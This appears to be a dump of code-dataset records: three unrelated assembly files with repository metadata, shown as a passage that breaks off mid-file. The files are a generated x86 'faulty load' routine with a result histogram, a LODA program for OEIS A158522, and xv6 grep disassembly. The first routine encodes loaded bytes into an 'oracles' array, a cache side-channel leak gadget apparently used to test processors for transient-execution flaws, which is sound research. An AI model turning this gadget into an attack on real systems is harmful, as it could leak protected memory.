67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1adb4, %r13 nop dec %r8 mov $0x6162636465666768, %rsi movq %rsi, (%r13) nop dec %r11 lea addresses_WT_ht+0x17db4, %rdx clflush (%rdx) nop sub %r11, %r11 movups (%rdx), %xmm5 vpextrq $0, %xmm5, %rbx dec %r11 lea addresses_A_ht+0x12fec, %rsi lea addresses_D_ht+0xdfee, %rdi nop nop nop nop sub $5435, %r13 mov $86, %rcx rep movsq nop nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0xe8b4, %rdx nop nop nop nop nop xor %r13, %r13 mov $0x6162636465666768, %rdi movq %rdi, (%rdx) nop cmp %rdi, %rdi lea addresses_A_ht+0x121b4, %r13 nop nop xor %rdi, %rdi and $0xffffffffffffffc0, %r13 vmovntdqa (%r13), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r8 dec %rbx lea addresses_UC_ht+0x4934, %rsi lea addresses_normal_ht+0x15f3c, %rdi nop nop nop nop inc %r13 mov $111, %rcx rep movsb nop xor %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rbp push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x16026, %rsi lea addresses_A+0x15b34, %rdi nop nop nop nop nop xor %rbx, %rbx mov $121, %rcx rep movsq cmp $52171, %rdi // Load mov $0x1b4, %rbx nop nop nop nop cmp %rbp, %rbp movntdqa (%rbx), %xmm2 vpextrq $0, %xmm2, %rcx nop nop nop nop nop sub $20673, %rbp // Faulty Load lea addresses_D+0x159b4, %rbx nop nop nop nop xor $8064, %r12 vmovntdqa (%rbx), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rcx lea oracles, %rdi and $0xff, %rcx shlq $12, %rcx mov (%rdi,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_P'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'36': 1710, '33': 1, '45': 84, '47': 1, '00': 10} 47 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 33 36 36 36 36 36 36 00 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 00 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 45 36 36 00 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 45 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 45 45 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 00 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 00 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 00 36 36 36 36 36 36 36 36 36 45 36 36 45 45 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 00 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 00 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 45 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
38.198758
2,999
0.657398
09e825b65f48645f0fb802ac2c30d76c907306bf
635
asm
Assembly
oeis/158/A158522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158522.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158522: Dirichlet inverse of number of unitary divisors of n (A034444). ; Submitted by Christian Krause ; 1,-2,-2,2,-2,4,-2,-2,2,4,-2,-4,-2,4,4,2,-2,-4,-2,-4,4,4,-2,4,2,4,-2,-4,-2,-8,-2,-2,4,4,4,4,-2,4,4,4,-2,-8,-2,-4,-4,4,-2,-4,2,-4,4,-4,-2,4,4,4,4,4,-2,8,-2,4,-4,2,4,-8,-2,-4,4,-8,-2,-4,-2,4,-4,-4,4,-8,-2,-4,2,4,-2,8,4,4,4,4,-2,8,4,-4,4,4,4,4,-2,-4,-4,4 add $0,1 mov $1,1 mov $2,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 div $1,-1 lpe add $5,1 mul $1,$5 lpe mov $0,$1
21.166667
252
0.472441
79322246183c87869edfac5dbdef2e787bc5a0a2
49,601
asm
Assembly
user/grep.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/grep.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/grep.asm
Vidhi1109/Modified-XV6
691430b9f9be91cb556f138918c1fc0e57bcabdf
[ "MIT-0" ]
null
null
null
user/_grep: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <matchstar>: return 0; } // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { 0: 7179 addi sp,sp,-48 2: f406 sd ra,40(sp) 4: f022 sd s0,32(sp) 6: ec26 sd s1,24(sp) 8: e84a sd s2,16(sp) a: e44e sd s3,8(sp) c: e052 sd s4,0(sp) e: 1800 addi s0,sp,48 10: 892a mv s2,a0 12: 89ae mv s3,a1 14: 84b2 mv s1,a2 do{ // a * matches zero or more instances if(matchhere(re, text)) return 1; }while(*text!='\0' && (*text++==c || c=='.')); 16: 02e00a13 li s4,46 if(matchhere(re, text)) 1a: 85a6 mv a1,s1 1c: 854e mv a0,s3 1e: 00000097 auipc ra,0x0 22: 030080e7 jalr 48(ra) # 4e <matchhere> 26: e919 bnez a0,3c <matchstar+0x3c> }while(*text!='\0' && (*text++==c || c=='.')); 28: 0004c783 lbu a5,0(s1) 2c: cb89 beqz a5,3e <matchstar+0x3e> 2e: 0485 addi s1,s1,1 30: 2781 sext.w a5,a5 32: ff2784e3 beq a5,s2,1a <matchstar+0x1a> 36: ff4902e3 beq s2,s4,1a <matchstar+0x1a> 3a: a011 j 3e <matchstar+0x3e> return 1; 3c: 4505 li a0,1 return 0; } 3e: 70a2 ld ra,40(sp) 40: 7402 ld s0,32(sp) 42: 64e2 ld s1,24(sp) 44: 6942 ld s2,16(sp) 46: 69a2 ld s3,8(sp) 48: 6a02 ld s4,0(sp) 4a: 6145 addi sp,sp,48 4c: 8082 ret 000000000000004e <matchhere>: if(re[0] == '\0') 4e: 00054703 lbu a4,0(a0) 52: cb3d beqz a4,c8 <matchhere+0x7a> { 54: 1141 addi sp,sp,-16 56: e406 sd ra,8(sp) 58: e022 sd s0,0(sp) 5a: 0800 addi s0,sp,16 5c: 87aa mv a5,a0 if(re[1] == '*') 5e: 00154683 lbu a3,1(a0) 62: 02a00613 li a2,42 66: 02c68563 beq a3,a2,90 <matchhere+0x42> if(re[0] == '$' && re[1] == '\0') 6a: 02400613 li a2,36 6e: 02c70a63 beq a4,a2,a2 <matchhere+0x54> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 72: 0005c683 lbu a3,0(a1) return 0; 76: 4501 li a0,0 if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 78: ca81 beqz a3,88 <matchhere+0x3a> 7a: 02e00613 li a2,46 7e: 02c70d63 beq a4,a2,b8 <matchhere+0x6a> return 0; 82: 4501 li a0,0 if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 84: 02d70a63 beq a4,a3,b8 <matchhere+0x6a> } 88: 60a2 ld ra,8(sp) 8a: 6402 ld s0,0(sp) 8c: 0141 addi sp,sp,16 8e: 8082 ret return matchstar(re[0], re+2, text); 90: 862e mv a2,a1 92: 00250593 addi a1,a0,2 96: 853a mv a0,a4 98: 00000097 auipc ra,0x0 9c: f68080e7 jalr -152(ra) # 0 <matchstar> a0: b7e5 j 88 <matchhere+0x3a> if(re[0] == '$' && re[1] == '\0') a2: c691 beqz a3,ae <matchhere+0x60> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) a4: 0005c683 lbu a3,0(a1) a8: fee9 bnez a3,82 <matchhere+0x34> return 0; aa: 4501 li a0,0 ac: bff1 j 88 <matchhere+0x3a> return *text == '\0'; ae: 0005c503 lbu a0,0(a1) b2: 00153513 seqz a0,a0 b6: bfc9 j 88 <matchhere+0x3a> return matchhere(re+1, text+1); b8: 0585 addi a1,a1,1 ba: 00178513 addi a0,a5,1 be: 00000097 auipc ra,0x0 c2: f90080e7 jalr -112(ra) # 4e <matchhere> c6: b7c9 j 88 <matchhere+0x3a> return 1; c8: 4505 li a0,1 } ca: 8082 ret 00000000000000cc <match>: { cc: 1101 addi sp,sp,-32 ce: ec06 sd ra,24(sp) d0: e822 sd s0,16(sp) d2: e426 sd s1,8(sp) d4: e04a sd s2,0(sp) d6: 1000 addi s0,sp,32 d8: 892a mv s2,a0 da: 84ae mv s1,a1 if(re[0] == '^') dc: 00054703 lbu a4,0(a0) e0: 05e00793 li a5,94 e4: 00f70e63 beq a4,a5,100 <match+0x34> if(matchhere(re, text)) e8: 85a6 mv a1,s1 ea: 854a mv a0,s2 ec: 00000097 auipc ra,0x0 f0: f62080e7 jalr -158(ra) # 4e <matchhere> f4: ed01 bnez a0,10c <match+0x40> }while(*text++ != '\0'); f6: 0485 addi s1,s1,1 f8: fff4c783 lbu a5,-1(s1) fc: f7f5 bnez a5,e8 <match+0x1c> fe: a801 j 10e <match+0x42> return matchhere(re+1, text); 100: 0505 addi a0,a0,1 102: 00000097 auipc ra,0x0 106: f4c080e7 jalr -180(ra) # 4e <matchhere> 10a: a011 j 10e <match+0x42> return 1; 10c: 4505 li a0,1 } 10e: 60e2 ld ra,24(sp) 110: 6442 ld s0,16(sp) 112: 64a2 ld s1,8(sp) 114: 6902 ld s2,0(sp) 116: 6105 addi sp,sp,32 118: 8082 ret 000000000000011a <grep>: { 11a: 715d addi sp,sp,-80 11c: e486 sd ra,72(sp) 11e: e0a2 sd s0,64(sp) 120: fc26 sd s1,56(sp) 122: f84a sd s2,48(sp) 124: f44e sd s3,40(sp) 126: f052 sd s4,32(sp) 128: ec56 sd s5,24(sp) 12a: e85a sd s6,16(sp) 12c: e45e sd s7,8(sp) 12e: 0880 addi s0,sp,80 130: 89aa mv s3,a0 132: 8b2e mv s6,a1 m = 0; 134: 4a01 li s4,0 while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){ 136: 3ff00b93 li s7,1023 13a: 00001a97 auipc s5,0x1 13e: 9bea8a93 addi s5,s5,-1602 # af8 <buf> 142: a0a1 j 18a <grep+0x70> p = q+1; 144: 00148913 addi s2,s1,1 while((q = strchr(p, '\n')) != 0){ 148: 45a9 li a1,10 14a: 854a mv a0,s2 14c: 00000097 auipc ra,0x0 150: 1e6080e7 jalr 486(ra) # 332 <strchr> 154: 84aa mv s1,a0 156: c905 beqz a0,186 <grep+0x6c> *q = 0; 158: 00048023 sb zero,0(s1) if(match(pattern, p)){ 15c: 85ca mv a1,s2 15e: 854e mv a0,s3 160: 00000097 auipc ra,0x0 164: f6c080e7 jalr -148(ra) # cc <match> 168: dd71 beqz a0,144 <grep+0x2a> *q = '\n'; 16a: 47a9 li a5,10 16c: 00f48023 sb a5,0(s1) write(1, p, q+1 - p); 170: 00148613 addi a2,s1,1 174: 4126063b subw a2,a2,s2 178: 85ca mv a1,s2 17a: 4505 li a0,1 17c: 00000097 auipc ra,0x0 180: 3ae080e7 jalr 942(ra) # 52a <write> 184: b7c1 j 144 <grep+0x2a> if(m > 0){ 186: 03404563 bgtz s4,1b0 <grep+0x96> while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){ 18a: 414b863b subw a2,s7,s4 18e: 014a85b3 add a1,s5,s4 192: 855a mv a0,s6 194: 00000097 auipc ra,0x0 198: 38e080e7 jalr 910(ra) # 522 <read> 19c: 02a05663 blez a0,1c8 <grep+0xae> m += n; 1a0: 00aa0a3b addw s4,s4,a0 buf[m] = '\0'; 1a4: 014a87b3 add a5,s5,s4 1a8: 00078023 sb zero,0(a5) p = buf; 1ac: 8956 mv s2,s5 while((q = strchr(p, '\n')) != 0){ 1ae: bf69 j 148 <grep+0x2e> m -= p - buf; 1b0: 415907b3 sub a5,s2,s5 1b4: 40fa0a3b subw s4,s4,a5 memmove(buf, p, m); 1b8: 8652 mv a2,s4 1ba: 85ca mv a1,s2 1bc: 8556 mv a0,s5 1be: 00000097 auipc ra,0x0 1c2: 29a080e7 jalr 666(ra) # 458 <memmove> 1c6: b7d1 j 18a <grep+0x70> } 1c8: 60a6 ld ra,72(sp) 1ca: 6406 ld s0,64(sp) 1cc: 74e2 ld s1,56(sp) 1ce: 7942 ld s2,48(sp) 1d0: 79a2 ld s3,40(sp) 1d2: 7a02 ld s4,32(sp) 1d4: 6ae2 ld s5,24(sp) 1d6: 6b42 ld s6,16(sp) 1d8: 6ba2 ld s7,8(sp) 1da: 6161 addi sp,sp,80 1dc: 8082 ret 00000000000001de <main>: { 1de: 7139 addi sp,sp,-64 1e0: fc06 sd ra,56(sp) 1e2: f822 sd s0,48(sp) 1e4: f426 sd s1,40(sp) 1e6: f04a sd s2,32(sp) 1e8: ec4e sd s3,24(sp) 1ea: e852 sd s4,16(sp) 1ec: e456 sd s5,8(sp) 1ee: 0080 addi s0,sp,64 if(argc <= 1){ 1f0: 4785 li a5,1 1f2: 04a7de63 bge a5,a0,24e <main+0x70> pattern = argv[1]; 1f6: 0085ba03 ld s4,8(a1) if(argc <= 2){ 1fa: 4789 li a5,2 1fc: 06a7d763 bge a5,a0,26a <main+0x8c> 200: 01058913 addi s2,a1,16 204: ffd5099b addiw s3,a0,-3 208: 02099793 slli a5,s3,0x20 20c: 01d7d993 srli s3,a5,0x1d 210: 05e1 addi a1,a1,24 212: 99ae add s3,s3,a1 if((fd = open(argv[i], 0)) < 0){ 214: 4581 li a1,0 216: 00093503 ld a0,0(s2) 21a: 00000097 auipc ra,0x0 21e: 330080e7 jalr 816(ra) # 54a <open> 222: 84aa mv s1,a0 224: 04054e63 bltz a0,280 <main+0xa2> grep(pattern, fd); 228: 85aa mv a1,a0 22a: 8552 mv a0,s4 22c: 00000097 auipc ra,0x0 230: eee080e7 jalr -274(ra) # 11a <grep> close(fd); 234: 8526 mv a0,s1 236: 00000097 auipc ra,0x0 23a: 2fc080e7 jalr 764(ra) # 532 <close> for(i = 2; i < argc; i++){ 23e: 0921 addi s2,s2,8 240: fd391ae3 bne s2,s3,214 <main+0x36> exit(0); 244: 4501 li a0,0 246: 00000097 auipc ra,0x0 24a: 2c4080e7 jalr 708(ra) # 50a <exit> fprintf(2, "usage: grep pattern [file ...]\n"); 24e: 00000597 auipc a1,0x0 252: 7f258593 addi a1,a1,2034 # a40 <malloc+0xec> 256: 4509 li a0,2 258: 00000097 auipc ra,0x0 25c: 616080e7 jalr 1558(ra) # 86e <fprintf> exit(1); 260: 4505 li a0,1 262: 00000097 auipc ra,0x0 266: 2a8080e7 jalr 680(ra) # 50a <exit> grep(pattern, 0); 26a: 4581 li a1,0 26c: 8552 mv a0,s4 26e: 00000097 auipc ra,0x0 272: eac080e7 jalr -340(ra) # 11a <grep> exit(0); 276: 4501 li a0,0 278: 00000097 auipc ra,0x0 27c: 292080e7 jalr 658(ra) # 50a <exit> printf("grep: cannot open %s\n", argv[i]); 280: 00093583 ld a1,0(s2) 284: 00000517 auipc a0,0x0 288: 7dc50513 addi a0,a0,2012 # a60 <malloc+0x10c> 28c: 00000097 auipc ra,0x0 290: 610080e7 jalr 1552(ra) # 89c <printf> exit(1); 294: 4505 li a0,1 296: 00000097 auipc ra,0x0 29a: 274080e7 jalr 628(ra) # 50a <exit> 000000000000029e <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 29e: 1141 addi sp,sp,-16 2a0: e422 sd s0,8(sp) 2a2: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 2a4: 87aa mv a5,a0 2a6: 0585 addi a1,a1,1 2a8: 0785 addi a5,a5,1 2aa: fff5c703 lbu a4,-1(a1) 2ae: fee78fa3 sb a4,-1(a5) 2b2: fb75 bnez a4,2a6 <strcpy+0x8> ; return os; } 2b4: 6422 ld s0,8(sp) 2b6: 0141 addi sp,sp,16 2b8: 8082 ret 00000000000002ba <strcmp>: int strcmp(const char *p, const char *q) { 2ba: 1141 addi sp,sp,-16 2bc: e422 sd s0,8(sp) 2be: 0800 addi s0,sp,16 while(*p && *p == *q) 2c0: 00054783 lbu a5,0(a0) 2c4: cb91 beqz a5,2d8 <strcmp+0x1e> 2c6: 0005c703 lbu a4,0(a1) 2ca: 00f71763 bne a4,a5,2d8 <strcmp+0x1e> p++, q++; 2ce: 0505 addi a0,a0,1 2d0: 0585 addi a1,a1,1 while(*p && *p == *q) 2d2: 00054783 lbu a5,0(a0) 2d6: fbe5 bnez a5,2c6 <strcmp+0xc> return (uchar)*p - (uchar)*q; 2d8: 0005c503 lbu a0,0(a1) } 2dc: 40a7853b subw a0,a5,a0 2e0: 6422 ld s0,8(sp) 2e2: 0141 addi sp,sp,16 2e4: 8082 ret 00000000000002e6 <strlen>: uint strlen(const char *s) { 2e6: 1141 addi sp,sp,-16 2e8: e422 sd s0,8(sp) 2ea: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 2ec: 00054783 lbu a5,0(a0) 2f0: cf91 beqz a5,30c <strlen+0x26> 2f2: 0505 addi a0,a0,1 2f4: 87aa mv a5,a0 2f6: 4685 li a3,1 2f8: 9e89 subw a3,a3,a0 2fa: 00f6853b addw a0,a3,a5 2fe: 0785 addi a5,a5,1 300: fff7c703 lbu a4,-1(a5) 304: fb7d bnez a4,2fa <strlen+0x14> ; return n; } 306: 6422 ld s0,8(sp) 308: 0141 addi sp,sp,16 30a: 8082 ret for(n = 0; s[n]; n++) 30c: 4501 li a0,0 30e: bfe5 j 306 <strlen+0x20> 0000000000000310 <memset>: void* memset(void *dst, int c, uint n) { 310: 1141 addi sp,sp,-16 312: e422 sd s0,8(sp) 314: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ 316: ca19 beqz a2,32c <memset+0x1c> 318: 87aa mv a5,a0 31a: 1602 slli a2,a2,0x20 31c: 9201 srli a2,a2,0x20 31e: 00a60733 add a4,a2,a0 cdst[i] = c; 322: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 326: 0785 addi a5,a5,1 328: fee79de3 bne a5,a4,322 <memset+0x12> } return dst; } 32c: 6422 ld s0,8(sp) 32e: 0141 addi sp,sp,16 330: 8082 ret 0000000000000332 <strchr>: char* strchr(const char *s, char c) { 332: 1141 addi sp,sp,-16 334: e422 sd s0,8(sp) 336: 0800 addi s0,sp,16 for(; *s; s++) 338: 00054783 lbu a5,0(a0) 33c: cb99 beqz a5,352 <strchr+0x20> if(*s == c) 33e: 00f58763 beq a1,a5,34c <strchr+0x1a> for(; *s; s++) 342: 0505 addi a0,a0,1 344: 00054783 lbu a5,0(a0) 348: fbfd bnez a5,33e <strchr+0xc> return (char*)s; return 0; 34a: 4501 li a0,0 } 34c: 6422 ld s0,8(sp) 34e: 0141 addi sp,sp,16 350: 8082 ret return 0; 352: 4501 li a0,0 354: bfe5 j 34c <strchr+0x1a> 0000000000000356 <gets>: char* gets(char *buf, int max) { 356: 711d addi sp,sp,-96 358: ec86 sd ra,88(sp) 35a: e8a2 sd s0,80(sp) 35c: e4a6 sd s1,72(sp) 35e: e0ca sd s2,64(sp) 360: fc4e sd s3,56(sp) 362: f852 sd s4,48(sp) 364: f456 sd s5,40(sp) 366: f05a sd s6,32(sp) 368: ec5e sd s7,24(sp) 36a: 1080 addi s0,sp,96 36c: 8baa mv s7,a0 36e: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 370: 892a mv s2,a0 372: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 374: 4aa9 li s5,10 376: 4b35 li s6,13 for(i=0; i+1 < max; ){ 378: 89a6 mv s3,s1 37a: 2485 addiw s1,s1,1 37c: 0344d863 bge s1,s4,3ac <gets+0x56> cc = read(0, &c, 1); 380: 4605 li a2,1 382: faf40593 addi a1,s0,-81 386: 4501 li a0,0 388: 00000097 auipc ra,0x0 38c: 19a080e7 jalr 410(ra) # 522 <read> if(cc < 1) 390: 00a05e63 blez a0,3ac <gets+0x56> buf[i++] = c; 394: faf44783 lbu a5,-81(s0) 398: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 39c: 01578763 beq a5,s5,3aa <gets+0x54> 3a0: 0905 addi s2,s2,1 3a2: fd679be3 bne a5,s6,378 <gets+0x22> for(i=0; i+1 < max; ){ 3a6: 89a6 mv s3,s1 3a8: a011 j 3ac <gets+0x56> 3aa: 89a6 mv s3,s1 break; } buf[i] = '\0'; 3ac: 99de add s3,s3,s7 3ae: 00098023 sb zero,0(s3) return buf; } 3b2: 855e mv a0,s7 3b4: 60e6 ld ra,88(sp) 3b6: 6446 ld s0,80(sp) 3b8: 64a6 ld s1,72(sp) 3ba: 6906 ld s2,64(sp) 3bc: 79e2 ld s3,56(sp) 3be: 7a42 ld s4,48(sp) 3c0: 7aa2 ld s5,40(sp) 3c2: 7b02 ld s6,32(sp) 3c4: 6be2 ld s7,24(sp) 3c6: 6125 addi sp,sp,96 3c8: 8082 ret 00000000000003ca <stat>: int stat(const char *n, struct stat *st) { 3ca: 1101 addi sp,sp,-32 3cc: ec06 sd ra,24(sp) 3ce: e822 sd s0,16(sp) 3d0: e426 sd s1,8(sp) 3d2: e04a sd s2,0(sp) 3d4: 1000 addi s0,sp,32 3d6: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 3d8: 4581 li a1,0 3da: 00000097 auipc ra,0x0 3de: 170080e7 jalr 368(ra) # 54a <open> if(fd < 0) 3e2: 02054563 bltz a0,40c <stat+0x42> 3e6: 84aa mv s1,a0 return -1; r = fstat(fd, st); 3e8: 85ca mv a1,s2 3ea: 00000097 auipc ra,0x0 3ee: 178080e7 jalr 376(ra) # 562 <fstat> 3f2: 892a mv s2,a0 close(fd); 3f4: 8526 mv a0,s1 3f6: 00000097 auipc ra,0x0 3fa: 13c080e7 jalr 316(ra) # 532 <close> return r; } 3fe: 854a mv a0,s2 400: 60e2 ld ra,24(sp) 402: 6442 ld s0,16(sp) 404: 64a2 ld s1,8(sp) 406: 6902 ld s2,0(sp) 408: 6105 addi sp,sp,32 40a: 8082 ret return -1; 40c: 597d li s2,-1 40e: bfc5 j 3fe <stat+0x34> 0000000000000410 <atoi>: int atoi(const char *s) { 410: 1141 addi sp,sp,-16 412: e422 sd s0,8(sp) 414: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 416: 00054683 lbu a3,0(a0) 41a: fd06879b addiw a5,a3,-48 41e: 0ff7f793 zext.b a5,a5 422: 4625 li a2,9 424: 02f66863 bltu a2,a5,454 <atoi+0x44> 428: 872a mv a4,a0 n = 0; 42a: 4501 li a0,0 n = n*10 + *s++ - '0'; 42c: 0705 addi a4,a4,1 42e: 0025179b slliw a5,a0,0x2 432: 9fa9 addw a5,a5,a0 434: 0017979b slliw a5,a5,0x1 438: 9fb5 addw a5,a5,a3 43a: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 43e: 00074683 lbu a3,0(a4) 442: fd06879b addiw a5,a3,-48 446: 0ff7f793 zext.b a5,a5 44a: fef671e3 bgeu a2,a5,42c <atoi+0x1c> return n; } 44e: 6422 ld s0,8(sp) 450: 0141 addi sp,sp,16 452: 8082 ret n = 0; 454: 4501 li a0,0 456: bfe5 j 44e <atoi+0x3e> 0000000000000458 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 458: 1141 addi sp,sp,-16 45a: e422 sd s0,8(sp) 45c: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 45e: 02b57463 bgeu a0,a1,486 <memmove+0x2e> while(n-- > 0) 462: 00c05f63 blez a2,480 <memmove+0x28> 466: 1602 slli a2,a2,0x20 468: 9201 srli a2,a2,0x20 46a: 00c507b3 add a5,a0,a2 dst = vdst; 46e: 872a mv a4,a0 *dst++ = *src++; 470: 0585 addi a1,a1,1 472: 0705 addi a4,a4,1 474: fff5c683 lbu a3,-1(a1) 478: fed70fa3 sb a3,-1(a4) while(n-- > 0) 47c: fee79ae3 bne a5,a4,470 <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 480: 6422 ld s0,8(sp) 482: 0141 addi sp,sp,16 484: 8082 ret dst += n; 